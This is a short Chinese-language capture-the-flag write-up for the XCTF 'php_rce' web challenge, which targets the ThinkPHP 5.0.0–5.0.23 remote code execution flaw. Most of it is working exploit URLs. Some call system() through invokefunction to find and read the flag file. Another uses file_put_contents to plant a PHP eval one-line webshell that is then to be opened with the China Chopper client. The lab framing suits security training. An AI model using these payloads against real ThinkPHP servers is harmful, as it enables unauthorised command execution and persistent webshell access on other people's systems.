攻防世界-web-php_rce(ThinkPHP 5.0命令執行漏洞)
阿新 • • 發佈:2020-09-16
本題進入場景後顯示如下頁面
這是一個 thinkphp 框架,先檢視版本號。在網址上隨意輸入一個不存在的模組 地址:
可以看到,thinkphp 版本為 5.0.20。
搜尋發現,ThinkPHP 5.0.0-5.0.23 存在遠端程式碼執行漏洞。
漏洞成因可參考:https://www.cnblogs.com/backlion/p/10106676.html
網上有很多現成的POC,可以直接拿來使用。
方法一:
首先,查詢flag檔案
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("find / -name 'flag'");' 或者/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
接著,檢視flag。
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'system("cat /flag");' 或者 /?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
方法二:
寫入一句話木馬
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php highlight_file(__FILE__);@eval($_POST[sss]);?>
如果成功寫入會返回檔案的大小,嘗試去訪問該檔案:
然後直接上菜刀。(連線失敗,不知道為啥。。。)